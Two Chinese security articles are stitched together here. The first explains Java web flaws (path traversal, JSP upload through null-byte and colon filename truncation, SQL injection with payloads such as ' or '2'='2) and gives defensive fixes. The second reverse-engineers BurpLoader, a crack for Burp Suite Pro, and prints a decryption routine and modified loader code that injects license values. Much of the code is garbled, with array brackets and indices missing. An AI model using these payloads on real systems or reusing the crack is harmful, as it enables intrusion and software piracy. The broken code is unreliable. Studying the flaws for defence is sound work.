返回此抽象路径名的规范路径名字符串。 规范路径名是绝对路径名,并且是惟一的。规范路径名的准确定义与系统有关。如有必要,此方法首先将路径名转换为绝对路径名,这与调用 getAbsolutePath() 方法的效果一样,然后用与系统相关的方式将它映射到其惟一路径名。这通常涉及到从路径名中移除多余的名称(比如 "." 和 "..")、解析符号连接(对于 UNIX 平台),以及将驱动器号转换为标准大小写形式(对于 Microsoft Windows 平台)。 每个表示现存文件或目录的路径名都有一个惟一的规范形式。每个表示不存在文件或目录的路径名也有一个惟一的规范形式。不存在文件或目录路径名的规范形式可能不同于创建文件或目录之后同一路径名的规范形式。同样,现存文件或目录路径名的规范形式可能不同于删除文件或目录之后同一路径名的规范形式。

使用以下代码在Windows环境测试上述两个方法。
#!java public static void main(String
args) { getFilePath("C:/Windows/System32/calc.exe"); getFilePath("C:/Windows/System32/drivers/etc/../../notepad.exe"); } private static void getFilePath(String filename) { File f = new File(filename); try { System.out.println("getAbsolutePath: " + filename + " " + f.getAbsolutePath()); System.out.println("getCanonicalPath: " + filename + " " + f.getCanonicalPath()); } catch (Exception e) { e.printStackTrace(); } }
输出结果如下。
#!bash getAbsolutePath: C:/Windows/System32/calc.exe C:\Windows\System32\calc.exe getCanonicalPath: C:/Windows/System32/calc.exe C:\Windows\System32\calc.exe getAbsolutePath: C:/Windows/System32/drivers/etc/../../notepad.exe C:\Windows\System32\drivers\etc\..\..\notepad.exe getCanonicalPath: **C:/Windows/System32/drivers/etc/../../notepad.exe C:\Windows\System32\notepad.exe**
使用以下代码在Linux环境测试上述两个方法。
#!java public static void main(String
args) { getFilePath("/etc/hosts"); getFilePath("/etc/rc.d/init.d/../../hosts"); } private static void getFilePath(String filename) { File f = new File(filename); try { System.out.println("getAbsolutePath: " + filename + " " + f.getAbsolutePath()); System.out.println("getCanonicalPath: " + filename + " " + f.getCanonicalPath()); } catch (Exception e) { e.printStackTrace(); } }
输出结果如下。
#!bash getAbsolutePath: /etc/hosts /etc/hosts getCanonicalPath: /etc/hosts /etc/hosts getAbsolutePath: /etc/rc.d/init.d/../../hosts /etc/rc.d/init.d/../../hosts getCanonicalPath: **/etc/rc.d/init.d/../../hosts /etc/hosts**
可以看出,当File对象的文件路径中包含特殊字符时,JAVA能够按照操作系统的规范对其进行相应的处理。在Windows与Linux环境中,..均代表上一级目录,因此使用..能够访问上一级目录,导致任意文件读取漏洞产生。

防护方法

可在处理下载的代码中对HTTP请求中的待下载文件参数进行过滤,防止出现..等特殊字符,但可能需要处理多种编码方式。 也可在生成File对象后,使用getCanonicalPath获取当前文件的真实路径,判断文件是否在允许下载的目录中,若发现文件不在允许下载的目录中,则拒绝下载。

0x02 恶意文件上传

当攻击者利用恶意文件上传漏洞时,通常会向服务器上传jsp木马并访问,可以直接控制服务器。

示例

以下为恶意文件上传的示例。 upload目录中的upload.jsp为处理文件上传的jsp文件,内容如下。
#!html


strutsUploadFileAction_signle为处理文件上传的struts的action,内容如下。
#!html upload/success.jsp upload/fail.jsp
strutsUploadFile为处理文件上传的Spring的bean,内容如下。
#!html
strutsTest.StrutsUploadFileAction为处理文件上传的JAVA类,在其中会检查上传的文件名是否以“.jpg”结尾,代码如下。
#!java // 注意,并不是指前端jsp上传过来的文件本身,而是文件上传过来存放在临时文件夹下面的文件 private File file4upload; // 提交过来的file的名字 private String file4uploadFileName; // 提交过来的file的MIME类型 private String file4uploadContentType; public String upload_signle() throws Exception { return uploadCommon(file4upload, file4uploadFileName); } private String uploadCommon(File file, String fileName) throws Exception { boolean success = false; try { String newFileName = ""; String webPath = ServletActionContext.getServletContext() .getRealPath("/"); String allowedType = ".jpg"; String fileName_new = fileName.toLowerCase(); // 本行代码有判断文件类型是否为".jpg",但存在文件名截断问题 if(fileName_new.length() - fileName_new.lastIndexOf(allowedType) != allowedType.length()) { file.delete(); ActionContext.getContext().put("reason", "file type is not: " + allowedType); return "fail"; } newFileName = webPath + "uploadDir/" + fileName; File dest = new File(newFileName); if (dest.exists()) dest.delete(); success = file.renameTo(dest); } catch (Exception e) { success = false; e.printStackTrace(); throw e; } return success ? "success" : "fail"; }
打开upload.jsp,选择文件“a.jpg”进行上传。 使用fiddler抓包并拦截,将filename参数修改为“a.jsp#.jpg”后的HTTP请求数据如下。 使用十六进制形式查看HTTP请求数据如下。 将#对应的字节修改为0x00并发送HTTP请求数据。 完成文件上传后,查看保存上传文件的目录,可以看到文件上传成功,生成的文件为“a.jsp”。

原因分析

从上述示例中可以看出,在上传文件时产生了文件名截断的问题。 使用以下代码测试JAVA写文件的文件名截断问题,使用0x00至0xff间的字符作为文件名生成文件。
#!java public static void main(String
args) { String java_version = System.getProperty("java.version"); new File(java_version).mkdirs(); String filename = "a.jsp#a.jpg"; for(int i=0; i<=0xff; i++) { String filename_replace = java_version + "/" + i + "-" + filename.replace('#', (char)i); File f = new File(filename_replace); try { f.createNewFile(); } catch (Exception e) { System.out.println("error: " + i); e.printStackTrace(); } } }

Windows环境文件名截断问题测试

在Windows 7,64位环境,使用JDK1.5执行上述代码生成文件的结果如下。 可以看到使用JDK1.5执行时,除0x00外,冒号“:”(ASCII码十进制为58)也会产生文件名截断问题。 JDK1.6与JDK1.5执行结果相同。 JDK1.7也与JDK1.5执行结果相同。 JDK1.8与JDK1.5执行结果不同,仅有冒号会产生文件名截断问题,0x00不会产生文件名截断问题,可能是JDK1.8已修复该问题。 使用Procmon查看上述过程中java.exe进程执行的写文件操作。 JDK1.5、1.6、1.7的监控结果相同,监控结果如下。 JDK1.5~1.7,当文件名中包含0x00时,java.exe在执行写文件操作时,会将0x00及之后的字符串丢弃,使用0x00之前的字符串作为文件名写文件。 JDK1.5~1.7,当文件名包含冒号时,java.exe在执行写文件操作时,不会将冒号及之后的字符串丢弃。 JDK1.8的监控结果如下。 JDK1.8,当文件名中包含0x00时,java.exe不会执行写文件的操作。 与JDK1.5~1.7一样,JDK1.8当文件名包含冒号时,java.exe在执行写文件操作时,不会将冒号及之后的字符串丢弃。截图略。 虽然java.exe在写文件时不会将冒号及之后的字符串丢弃,但在Windows环境下仍然出现了文件名截断的问题。 在Windows中执行“echo 1>abc:123”命令,可以看到生成的文件名为“abc”,冒号及之后的字符串被丢弃,造成了文件名截断。这是Windows特性导致的,与JAVA无关。

Linux环境文件名截断问题测试

在Linux RedHat 6.4环境,使用JDK1.6执行上述代码生成文件的结果如下。 JDK1.6,文件名中包含0x00时同样出现了文件名截断问题(文件名中包含ASCII码为92的反斜杠“\”时,生成的文件会产生在子目录中,但不会导致文件类型的变化)。 综上所述,JDK1.5-1.7存在0x00导致的文件名截断问题,与操作系统无关。冒号在Windows环境会导致文件名截断问题,与JAVA无关。 使用File对象的getCanonicalPath方法获取JAVA在文件名中包含0x00至0xff的字符时,生成文件时的实际文件路径,代码如下。
#!java public static void main(String
args) { String java_version = System.getProperty("java.version"); String filename = "a.jsp#a.jpg"; for(int i=0; i<=0xff; i++) { String filename_replace = java_version + "/" + i + "-" + filename.replace('#', (char)i); File f = new File(filename_replace); try { System.out.println("getCanonicalPath " + f.getCanonicalPath()); } catch (Exception e) { System.out.println("error: " + i); e.printStackTrace(); } } }

Windows环境执行getCanonicalPath方法的结果

在Windows 7,64位环境,使用JDK1.5~1.7执行上述代码使用getCanonicalPath方法获取文件实际路径的结果相同,结果如下。 JDK1.5执行getCanonicalPath方法的结果。 JDK1.6执行getCanonicalPath方法的结果。 JDK1.7执行getCanonicalPath方法的结果。 可以看到JDK1.5~1.7使用getCanonicalPath方法获取文件实际路径时,当文件名中包含0x00时,获取到的文件实际路径中0x00及之后的字符串已被丢弃。 在Windows 7,64位环境,使用JDK1.8执行getCanonicalPath方法的结果如下。 可以看到JDK1.8使用getCanonicalPath方法获取文件实际路径时,当文件名中包含0x00时,会出现java.io.IOException异常,异常信息为“Invalid file path”。

Linux环境执行getCanonicalPath方法的结果

在Linux RedHat 6.4环境,使用JDK1.6执行上述代码的结果与Windows环境相同,截图略。

防护方法

以下的防护方法可以根据实际需求进行组合,相互之间没有冲突。

无效的防护方法

使用String对象的endsWith方法无法判断出文件生成时的实际文件名,使用以下代码进行证明。
#!java public static void main(String
args) { String java_version = System.getProperty("java.version"); String filename = "a.jsp#a.jpg"; for(int i=0; i<=0xff; i++) { String filename_replace = java_version + "/" + i + "-" + filename.replace('#', (char)i); if(filename_replace.endsWith(".jpg")) { System.out.println("yes: " + filename_replace); } } }
执行结果如下。 当文件名为“a.jsp
a.jpg”形式时,无论
是否为0x00,使用String对象的endsWith方法对文件名进行检测,均认为是以“.jpg”结尾。

针对0x00进行检测

当文件名中包含0x00时,使用String对象的indexOf(0)方法执行结果非-1,可以检测到0x00的存在。但需考虑不同编码情况下0x00的形式。

检测实际的文件名

使用File对象的getCanonicalPath方法获取上传文件的实际文件名,若检测到文件名的后缀不是允许的类型(0x00截断,小于JDK1.8),或出现java.io.IOException异常(0x00截断,JDK1.8),或包含冒号(Windows环境中需处理),则说明需要拒绝本次文件上传。

修改保存上传文件的目录

上述的防护思路是防止攻击者将jsp文件上传至服务器中,本防护思路是防止攻击者上传的jsp文件被编译为class文件。 当JAVA中间件收到访问web应用目录中的jsp文件请求时,会将对应的jsp文件编译为class文件并执行。若将保存上传文件的目录修改为非web应用目录,当JAVA中间件收到访问上传文件的请求时,即使被访问的文件为jsp文件,JAVA中间件也不会将jsp文件编译为成class文件并执行,可以防止攻击者利用上传jsp木马控制服务器。 将保存上传文件的目录修改为非web应用目录的操作很简单,将处理文件上传代码中保存文件的目录修改为非web应用目录即可。进行该修改后,还可以使用共享目录解决多实例应用上传文件的问题。 将保存上传文件的目录修改为非web应用目录后,会导致无法使用原有方式访问上传的文件(例如文件上传目录原本为web应用目录中的upload目录,可直接使用http://
:
/xxx/upload/xxx进行访问。将upload目录移动到非web应用目录后,无法再使用原有URL访问上传的文件)。可通过以下两种方法解决。 使用Servlet/action/.do请求访问上传文件,可参考前文中的download.DownloadAction类。本方法的影响面较大,不推荐使用。 除上述方法外,还可使用filter拦截HTTP请求处理,当HTTP请求访问文件上传目录中的文件时,读取对应的文件内容并返回(例如原本上传目录为web应用目录中的upload目录,可直接使用http://
:
/xxx/upload/xxx进行访问。将upload目录移动到非web应用目录后,对HTTP请求处理进行拦截,当请求以“/xxx/upload”开头时,从文件上传目录中读取对应的文件内容并返回)。本方法可使用原本的URL访问上传文件,影响面较小,推荐使用。示例代码如下。 在web.xml中使用filter拦截HTTP请求处理。
#!html testFilter test.TestFilter testFilter /*
对应的test.TestFilter类代码如下。
#!java private static String IF_MODIFIED_SINCE = "If-Modified-Since"; private static String LAST_MODIFIED = "Last-Modified"; private static String startFlag = "/testDownload/upload/"; private static String storePath = "C:/Users/Public"; public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest httpRequest = (HttpServletRequest) request; // 获取浏览器访问的URL,形式如/test/upload/xxx.jpg String requestUrl = httpRequest.getRequestURI(); System.out.println("requestUrl: " + requestUrl); if (requestUrl != null) { // 判断是否访问upload目录的文件,若是则从对应的存储目录读取并返回 if (requestUrl.startsWith(startFlag)) { try { returnFileContent(requestUrl, (HttpServletRequest) request, (HttpServletResponse) response); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } return; } } chain.doFilter(request, response); return; } // 当访问web应用特定目录下的文件时,重定向到实际存储这些文件的目录 private void returnFileContent(String url, HttpServletRequest request, HttpServletResponse response) throws Exception { java.io.InputStream in = null; java.io.OutputStream outStream = null; try { response.setHeader("Content-Type", "text/plain");// 若不返回text/plain类型,浏览器无法正常识别文件类型 String filePath = url.substring(startFlag.length() - 1);// 获取被访问的文件的URL String filePath_decode = URLDecoder.decode(filePath, "UTF-8");// 经过url解码之后的文件URL // 生成最终访问的文件路径 // StorePath形式如C:/xxx/xxx,filePath_decode开头有/ String targetfile = storePath + filePath_decode; System.out.println("targetfile: " + targetfile); File f = new File(targetfile); if (!f.exists() || f.isDirectory()) { System.out.println("文件不存在: " + targetfile); response.sendError(HttpServletResponse.SC_NOT_FOUND);// 返回错误信息,显示统一错误页面 return; } // 判断上送的HTTP头是否有If-Modified-Since字段 String modified = request.getHeader(IF_MODIFIED_SINCE); //获取文件的修改时间 String modified_file = getFileModifiedTime(f); if (modified != null) { // 上送的HTTP头有If-Modified-Since字段,判断与对应文件的修改时间是否相同 if(modified.equals(modified_file)) { //上送的文件时间与文件实际修改时间相同,不需返回文件内容 response.setStatus(HttpServletResponse.SC_NOT_MODIFIED);//返回304状态 outStream = response.getOutputStream(); outStream.close(); outStream.flush(); outStream = null; return; } } // 文件无缓存,或文件有修改,需要在返回的HTTP头中添加文件修改时间 response.setHeader(LAST_MODIFIED, modified_file); // 读取文件内容 in = new FileInputStream(f); outStream = response.getOutputStream(); byte
buf = new byte
; int bytes = 0; while ((bytes = in.read(buf)) != -1) outStream.write(buf, 0, bytes); in.close(); outStream.close(); outStream.flush(); outStream = null; } catch (Throwable ex) { ex.printStackTrace(); } finally { if (in != null) { in.close(); in = null; } if (outStream != null) { outStream.close(); outStream = null; } } } // 获取指定文件的修改时间 private String getFileModifiedTime(File file) { SimpleDateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US); sdf.setTimeZone(TimeZone.getTimeZone("GMT")); return sdf.format(file.lastModified()); }
上述示例代码中,保存上传文件的目录为“C:/Users/Public”,当HTTP请求以“/testDownload/upload/”开头时,说明需要访问上传文件。 上述修改方法接管了JAVA中间件对原本上传目录的静态资源的访问请求,导致浏览器的缓存机制不可用。为了保证浏览器的缓存机制可用,上述代码中进行了专门处理。当HTTP请求头中不包含“If-Modified-Since”参数时,或“If-Modified-Since”对应的文件修改时间小于实际文件修改时间时,将文件的内容返回给浏览器,并在返回的HTTP头中加入“Last-Modified”参数返回文件修改时间,使浏览器对该文件进行缓存。当HTTP请求头的“If-Modified-Since”对应的文件修改时间等于实际文件修改时间时,不返回文件内容,将返回的HTTP码设为304,告知浏览器访问的文件无修改,可使用缓存。 以下为上述代码的测试结果。 web应用的目录中无upload目录。 文件上传目录“C:/Users/Public”中有以下文件。 访问文本文件正常。 访问图片正常。 访问音频文件正常。 访问jsp文件只返回文件本身的内容,不会被编译成class文件并执行。 使用fiddler查看访问记录,浏览器缓存机制正常。

修改web应用目录权限

将文件上传目录移出web应用目录后,JAVA中间件在运行过程中,web应用目录及其中的文件一般不会被修改。可在JAVA中间件启动后,将web应用目录设为JAVA中间件不可写;当需要进行版本更新或维护时,停止JAVA中间件后,将web应用目录设为JAVA中间件可写。通过上述限制,可严格地防止web应用目录被上传jsp木马等恶意文件。 可将JAVA中间件使用a用户启动,将web应用的目录对应用户设为b用户,JAVA中间件启动后,将web应用的目录设为a用户只读。需要进行版本更新或维护时,停止JAVA中间件后,将web应用的目录设为a用户可读写。对于某些JAVA中间件在运行过程中可能需要进行写操作的文件或目录,可单独设置权限。可将对web应用的权限修改操作在JAVA中间件启停脚本中调用,减少操作复杂度。 Windows的权限设置较复杂且速度较慢,使用上述的防护方法时会比较麻烦。

0x03 SQL注入

PreparedStatement与Statement

众所周知,在JAVA中使用PreparedStatement替代Statement可以防止SQL注入。 在oracle数据库中进行以下测试。 首先创建测试用的数据库表并插入数据。
#!sql create table test_user ( username varchar2(100), pwd varchar2(100) ); Insert into TEST_USER (USERNAME, PWD) Values ('aaa', 'bbb'); COMMIT;
使用以下JAVA代码进行测试。
#!java private Connection conn = null; public dbtest2(String url, String username, String password) throws ClassNotFoundException, SQLException { try { Class.forName("oracle.jdbc.driver.OracleDriver"); conn = DriverManager.getConnection(url, username, password); } catch (Exception e) { // TODO: handle exception e.printStackTrace(); } } public void closeDb() throws SQLException { conn.close(); } public void executeStatement(String username, String pwd) throws SQLException { String sql = "SELECT * FROM TEST_USER where username='" + username + "' and pwd='" + pwd + "'"; System.out.println("executeStatement-sql: " + sql); java.sql.Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(sql); showResultSet(rs); stmt.close(); } public void executePreparedStatement(String username, String pwd) throws SQLException { java.sql.PreparedStatement stmt = conn .prepareStatement("SELECT * FROM TEST_USER where username=? and pwd=?"); stmt.setString(1, username); stmt.setString(2, pwd); ResultSet rs = stmt.executeQuery(); showResultSet(rs); stmt.close(); } public void showResultSet(ResultSet rs) throws SQLException { ResultSetMetaData meta = rs.getMetaData(); StringBuffer sb = new StringBuffer(); int colCount = meta.getColumnCount(); for (int i = 1; i <= colCount; i++) { sb.append(meta.getColumnName(i)).append("
").append("\t"); } while (rs.next()) { sb.append("\r\n"); for (int i = 1; i <= colCount; i++) { sb.append(rs.getString(i)).append("\t"); } } // 关闭ResultSet rs.close(); System.out.println(sb.toString()); } public static void main(String
args) throws SQLException { try { dbtest2 db = new dbtest2( "jdbc:oracle:thin:@192.xxx.xxx.xxx:1521:xxx", "xxx", "xxx"); db.executeStatement("aaa", "bbb"); db.executeStatement("aaa", "' or '2'='2"); db.executePreparedStatement("aaa", "bbb"); db.executePreparedStatement("aaa", "' or '2'='2"); db.closeDb(); } catch (ClassNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } }
执行结果如下。
#!bash 1 db.executeStatement("aaa", "bbb");对应的结果 executeStatement-sql: SELECT * FROM TEST_USER where username='aaa' and pwd='bbb' USERNAME
PWD
aaa bbb 2 db.executeStatement("aaa", "' or '2'='2");对应的结果 executeStatement-sql: SELECT * FROM TEST_USER where username='aaa' and pwd='' or '2'='2' USERNAME
PWD
aaa bbb 3 db.executePreparedStatement("aaa", "bbb");对应的结果 USERNAME
PWD
aaa bbb 4 db.executePreparedStatement("aaa", "' or '2'='2");对应的结果 USERNAME
PWD

可以看到使用Statement时,将查询参数设为“username='aaa' and pwd='bbb'”使用正常的查询条件能查询到对应的数据。将查询参数设为“username='aaa' and pwd='' or '2'='2'”能够利用SQL注入查询到对应的数据。 使用PreparedStatement时,使用正常的查询条件同样能查询到对应的数据,使用能使Statement产生SQL注入的查询条件无法再查询到数据。 使用Wireshark对刚才的数据库操作抓包并查看网络数据。 查找select语句对应的数据包如下。 db.executeStatement("aaa", "bbb");对应的数据包如下,可以看到查询语句未使用oracle绑定变量方式,使用正常查询条件查询到了数据。 db.executeStatement("aaa", "' or '2'='2");对应的数据包如下,可以看到查询语句未使用oracle绑定变量方式,利用SQL注入查询到了数据。 db.executePreparedStatement("aaa", "bbb");对应的数据包如下,可以看到查询语句使用了oracle绑定变量方式,使用正常查询条件查询到了数据。 db.executePreparedStatement("aaa", "' or '2'='2");对应的数据包如下,可以看到查询语句使用了oracle绑定变量方式,SQL注入未生效,无法查询到对应数据。 在JAVA中使用PreparedStatement访问oracle数据库时,除了能防止SQL注入外,还能使oracle服务器降低硬解析率,降低系统开销,减少内存碎片,提高执行效率。 刚才执行的sql语句在oracle的v$sql视图中产生的数据如下。

ibatis

当使用ibatis作为持久化框架时,也需要考虑SQL注入的问题。使用ibatis产生SQL注入主要是由于使用不规范。

$与#

在ibatis中使用#时,与使用PreparedStatement的效果相同,不会产生SQL注入;在ibatis中使用$时,与使用Statement的效果相同,会产生SQL注入。 继续使用刚才的数据库表TEST_USER进行测试,再插入一条数据如下。
#!sql Insert into TEST_USER (USERNAME, PWD) Values ('123', '456'); COMMIT;
将log4j中的数据库相关日志级别设为DEBUG。
#!sql log4j.logger.com.ibatis=DEBUG log4j.logger.com.ibatis.common.jdbc.SimpleDataSource=DEBUG log4j.logger.com.ibatis.common.jdbc.ScriptRunner=DEBUG log4j.logger.com.ibatis.sqlmap.engine.impl.SqlMapClientDelegate=DEBUG log4j.logger.java.sql.Connection=DEBUG log4j.logger.java.sql.Statement=DEBUG log4j.logger.java.sql.PreparedStatement=DEBUG log4j.logger.java.sql.ResultSet=DEBUG
首先使用#与$测试执行判断条件为“=”的sql语句时的情况。 在ibatis对应的xml文件中配置了语句test_right与test_wrong如下。
#!html
在JAVA代码中执行上述语句如下。
#!java HashMap hs = new HashMap(); hs.put("username", "' or '1'='1"); List list1 = queryListSql("test_right",hs); logger.info("test-list1: " + list1); List list2 = queryListSql("test_wrong",hs); logger.info("test-list2: " + list2);
log4j中执行test_right语句时的相关日志如下。
#!bash
Preparing Statement: select * from test_user where username = ?
Executing Statement: select * from test_user where username = ?
Parameters:

Types:


ResultSet
test-list1:

log4j中执行test_wrong语句时的相关日志如下。
#!bash
Preparing Statement: select * from test_user where username = '' or '1'='1'
Executing Statement: select * from test_user where username = '' or '1'='1'
Parameters:

Types:

ResultSet
Header:

Result:

Result:

test-list2:

可以看到使用#可以防止SQL注入,使用$会产生SQL注入。 执行test_right语句时产生的数据包如下。 执行test_wrong语句时产生的数据包如下。

like

在使用ibatis执行判断条件为“like”的操作时,较容易误用$导致产生SQL注入问题。 当需要使用like时,应用使用“xxx like '%' || #xxx# || '%'”,而不应使用“xxx like '%$xxx$%'”(以oracle数据库为例)。 使用以下代码进行验证测试。 在ibatis对应的xml文件中配置了语句test_like_right与test_like_wrong如下。
#!html
在JAVA代码中执行上述语句如下。
#!java HashMap hs = new HashMap(); hs.put("username", "' or '1'='1"); List list3 = queryListSql("test_like_right",hs); logger.info("test-list3: " + list3); List list4 = queryListSql("test_like_wrong",hs); logger.info("test-list4: " + list4);
log4j中执行test_like_right语句时的相关日志如下。
#!bash
Preparing Statement: select * from test_user where username like '%' || ? || '%'
Executing Statement: select * from test_user where username like '%' || ? || '%'
Parameters:

Types:


ResultSet
test-list3:

log4j中执行test_like_wrong语句时的相关日志如下。
#!bash
Preparing Statement: select * from test_user where username like '' or '1'='1'
Executing Statement: select * from test_user where username like '' or '1'='1'
Parameters:

Types:

ResultSet
Header:

Result:

Result:



执行语句时test_like_right产生的数据包如下。 执行语句时test_like_wrong产生的数据包如下。

in

在使用ibatis处理判断条件为“in”的操作时,同样容易误用$导致SQL注入问题。 当需要使用in时,可使用以下方法。 java代码。
#!java String
xxx_list = new String
{"xx1","xx2"}; HashMap hs = new HashMap(); hs.put("xxx", xxx_list); //hs为sql语句查询参数
xml中的语句配置。
#!html
当需要使用in时,不应使用“in ('$xxx$')”。 在ibatis对应的xml文件中配置了语句test_in_right与test_in_wrong如下。
#!html
在JAVA代码中执行上述语句如下。
#!java String
username_list = new String
{"') or ('1'='1"}; hs.put("username", username_list); List list5 = queryListSql("test_in_right",hs); logger.info("test-list5: " + list5); HashMap hs = new HashMap(); hs.put("username", "') or ('1'='1"); List list6 = queryListSql("test_in_wrong",hs); logger.info("test-list6: " + list6);
log4j中执行test_in_right语句时的相关日志如下。
#!bash
Preparing Statement: select * from test_user where username in (?)
Executing Statement: select * from test_user where username in (?)
Parameters:

Types:


ResultSet
test-list5:

log4j中执行test_in_wrong语句时的相关日志如下。
#!bash
Preparing Statement: select * from test_user where username in ('') or ('1'='1')
Executing Statement: select * from test_user where username in ('') or ('1'='1')
Parameters:

Types:

ResultSet
Header:

Result:

Result:

test-list6:

执行test_in_right语句时产生的数据包如下。 执行test_in_wrong语句时产生的数据包如下。 在ibatis中在执行包含like或in的语句时,使用#也是能正常查询到数据的。 在JAVA代码中使用正确的查询条件执行test_like_right与test_in_right语句如下。
#!java HashMap hs = new HashMap(); hs.put("username", "aaa"); List list7 = queryListSql("test_like_right",hs); logger.info("test-list7: " + list7); String
username_list2 = new String
{"aaa","123"}; hs.put("username", username_list2); List list8 = queryListSql("test_in_right",hs); logger.info("test-list8: " + list8);
log4j中使用正确的查询条件执行test_like_right语句时的相关日志如下。
#!bash
Preparing Statement: select * from test_user where username like '%' || ? || '%'
Executing Statement: select * from test_user where username like '%' || ? || '%'
Parameters:

Types:


ResultSet
Header:

Result:

test-list7:

log4j中使用正确的查询条件执行test_in_right语句时的相关日志如下。
#!bash
Preparing Statement: select * from test_user where username in (?,?)
Executing Statement: select * from test_user where username in (?,?)
Parameters:

Types:


ResultSet
Header:

Result:

Result:

test-list8:

使用正确的查询条件执行test_like_right语句时产生的数据包如下。 使用正确的查询条件执行test_in_right语句时产生的数据包如下。 上述全部语句执行时在oracle的v$sql视图中产生的数据如下。

0x04 其他问题

错误页

在web.xml中定义error-page,防止当出现错误时暴露服务器信息。 示例如下。
#!html 404 xxx.jsp 500 xxx.jsp
仅允许已登录用户的访问 当用户访问jsp或Servlet/action/.do时,需要判断当前用户是否已登录且具有相应权限,防止出现越权使用。

0x05 后记

以上为本人的一点总结,难免存在错误之处,大牛请轻喷。

0x00 摘要:

本系列文章通过对BurpLoader的几个版本的逆向分析,分析Burpsuite的破解原理,分析Burpsuite认证体系存在的安全漏洞。

0x01 JD-GUI的用途与缺陷:

JD-GUI是一款从JAVA字节码中还原JAVA源代码的免费工具,一般情况下使用这款工具做JAVA逆向就足够了,但是由于其原理是从JAVA字节码中按照特定结构来还原对应的JAVA源代码,因此一旦字节码结构被打乱(比如说使用混淆器),那么JD-GUI就会失去它的作用,如图为使用JD-GUI打开Burpsuite时的显示: 显然,JD-GUI没能还原JAVA源代码出来,因为Burpsuite使用了混淆器打乱了字节码结构 所以,JD-GUI适用于‘没有使用混淆器’的JAVA字节码,而缺陷是一旦字节码结构被打乱,则无法发挥它的作用

0x02 字节码分析:

Java的字节码并不像普通的二进制代码在计算机中直接执行,它通过JVM引擎在不同的平台和计算机中运行。 JVM是一个基于栈结构的虚拟计算机,使用的是JVM操作码(及其助记符),在这一点上和普通二进制反汇编的过程非常相似。 对Java字节码进行反编译其实非常简单,JDK内置的Javap工具即可完成这项任务。 示例:对Javar.class进行反编 注意javap的-c参数是显示详细代码,否则只显示method,而按照java的老规矩Javar不要加后缀名 同时你也可以使用eclipse的插件Bytecode Visualizer来反编译字节码 注意右面的流程图,大家在上程序设计导论课时都画过吧,现在发现它的用途了吧,一眼就看出是一个if-else结构,前两句定义i变量,然后取i=2压栈常数1,比对i和1以后就都java.lang.system.out了,一个输出wooyun,一个输出lxj616。

0x03 老版本的BurpLoader分析:

随着Burpsuite的更新,BurpLoader也在跟着进行更新,我们从老版本的BurpLoader入手,简要分析一下之前老版本的burpsuite破解原理。 本处选用了1.5.01版本的BurpLoader进行分析 首先试着用JD-GUI载入BurpLoader: 成功还原了BurpLoader源代码,只可惜由于是对burpsuite的patch,所以burpsuite的混淆在burploader里仍然可读性极差,不过可以推断burploader本身没有使用混淆工具。
public static void main(String
args) { try { int ret = JOptionPane.showOptionDialog(null, "This program can not be used for commercial purposes!", "BurpLoader by larry_lau@163.com", 0, 2, null, new String
{ "I Accept", "I Decline" }, null); //显示选择对话框:这程序是出于学习目的写的,作者邮箱larry_lau(at)163.com if (ret == 0) //选择我同意 { //以下用到的是java反射机制,不懂反射请百度 for (int i = 0; i < clzzData.length; i++) { Class clzz = Class.forName(clzzData
); //是burpsuite的静态类(名字被混淆过了,也没必要列出了) Field field = clzz.getDeclaredField(fieldData
); //静态类中的变量也被混淆过了,也不必列出了 field.setAccessible(true); //访问private必须先设置这个,不然会报错 field.set(null, strData
); //把变量设置成strData(具体那一长串到底是什么暂不讨论) } Preferences prefs = Preferences.userNodeForPackage(StartBurp.class); //明显preferences是用来存储设置信息的 for (int i = 0; i < keys.length; i++) { // key和val能猜出是什么吧 String v = prefs.get(keys
, null); if (!vals
.equals(v)) { prefs.put(keys
, vals
); } } StartBurp.main(args); } } catch (Exception e) { JOptionPane.showMessageDialog(null, "This program can only run with burpsuite_pro_v1.5.01.jar", "BurpLoader by larry_lau@163.com", 0); } } }
因此,BurpLoader的原理就是伪造有效的Key来通过检测,Key的输入是通过preference来注入的,而我猜测它为了固定Key的计算方法,通过反射把一些环境变量固定成常量了

0x04 新版本的BurpLoader分析:

以下用1.6beta版的BurpLoader进行分析: 首先用JD-GUI尝试打开BurpLoader: 看来这个版本的BurpLoader对字节码使用了混淆,这条路走不通了 于是直接读字节码吧! 大家可以看到这里的字符串都是混淆过的,每一个都jsr到151去解密 这段解密代码特点非常明显,一个switch走5条路,给221传不同的解密key,这不就是Zelix KlassMaster的算法吗? 简单的异或而已,轻松写出解密机:
public class Verify { private static String decrypt(String str) { char key
= new char
{73,25,85,1,29}; char arr
= str.toCharArray(); for (int i = 0; i < arr.length; i++) { arr
^= key
; } return new String(arr); } public static void main (String args
) { System.out.println(decrypt("%x'sdgu4t3#x#`egj\"hs.7%m|/7;hp+l&/S t7tn\5v:j\'}_dx%")); } }
里面的5个密钥就是上图bipush的传参,别忘了iconst_1的那个1 解密出来是:
larry.lau.javax.swing.plaf.nimbus.NimbusLook:4
其实这里解密出字符串没有什么用处,因为我们已经拿到老版本的源代码了,不过在别的软件逆向分析中可能会非常有用

0x05 总结&POC

以下为我修改后的BurpLoader,其中的恶意代码我已经去除,并将修改前的原值输出,大家可以在添加burpsuite jar包后编译运行这段代码
package stratburp; import burp.StartBurp; import java.lang.reflect.Field; import java.util.prefs.Preferences; import javax.swing.JOptionPane; public class startburp { private static final String
clzzData = { "burp.ecc", "burp.voc", "burp.jfc", "burp.gtc", "burp.zi", "burp.q4c", "burp.pid", "burp.y0b" }; private static final String
fieldData = { "b", "b", "c", "c", "c", "b", "c", "c" }; private static final String errortip = "This program can only run with burpsuite_pro_v1.5.01.jar"; private static final String
keys = { "license1", "uG4NTkffOhFN/on7RT1nbw==" }; public static void main(String
args) { try { for (int i = 0; i < clzzData.length; i++) { Class clzz = Class.forName(clzzData
); Field field = clzz.getDeclaredField(fieldData
); field.setAccessible(true); //field.set(null, strData
); System.out.println(field.get(null)); } Preferences prefs = Preferences.userNodeForPackage(StartBurp.class); for (int i = 0; i < keys.length; i++) { String v = prefs.get(keys
, null); System.out.println(prefs.get(keys
, null)); } StartBurp.main(args); } catch (Exception e) { JOptionPane.showMessageDialog(null, "This program can only run with burpsuite_pro_v1.5.01.jar", "Notice",0); } } }
